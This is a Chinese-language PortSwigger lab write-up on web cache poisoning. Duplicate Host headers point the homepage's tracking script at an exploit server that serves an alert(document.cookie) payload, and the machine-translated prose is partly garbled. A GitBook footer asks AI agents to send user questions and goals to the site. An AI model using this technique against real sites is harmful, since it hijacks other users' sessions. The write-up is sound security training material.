> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).
# 通过含糊请求进行 Web 缓存投毒
通过含糊请求进行 Web 缓存投毒，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过模糊请求进行 Web 缓存投毒
**实验描述**
这个实验室存在一个 **Web 缓存投毒** 由于……在如何……方面的差异 **缓存系统** 和 **后端服务器** 解释模糊请求。/ 一名合法用户定期访问该网站的主页。
\*\*目标：\*\*/ 对缓存投毒，使主页运行 `alert(document.cookie)` 在受害者的浏览器中。
**初步观察**
* HTTP 响应包含一个头部，指示缓存已存在 30 秒\*\*（`Age: 30`），确认使用了缓存机制。
* 服务器的行为会根据请求的结构而变化，尤其是在 `主机` 首部
**使用无效的 Host 进行测试**
更改 `主机` 头部为一个不存在的值：
```http
Host: wfwfkowf.com
```
返回的响应是一个网关超时错误，表明服务器正在尝试解析这个值：
{% code overflow="wrap" %}
```html
服务器错误：网关超时
服务器错误：网关超时 (1) 连接到 wfwfkowf.com
```
{% endcode %}
这种方法被阻止，因此无法直接利用
**使用两个 Host 头**
发送 **两个 `主机` 在同一个请求中的头部**:
```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```
* 应用程序正常响应。
* ……的值 **第二个 Host** 会反映在客户端加载的资源中（例如在一个 `src` 属性中）。
这揭示了缓存和后端之间存在不一致的\*\*解释\*\*
**载荷准备**
在攻击服务器上创建一个 JavaScript 文件：
/resources/js/tracking.js
内容：
```javascript
alert(document.cookie);
```
**缓存投毒**
发送一个包含两个……的新请求 `主机` 头部，第二个指向攻击服务器：
```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```
* 后端接受该请求。
* 缓存记录了被投毒的响应。
主页现在引用了托管在攻击者服务器上的 JavaScript 脚本。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
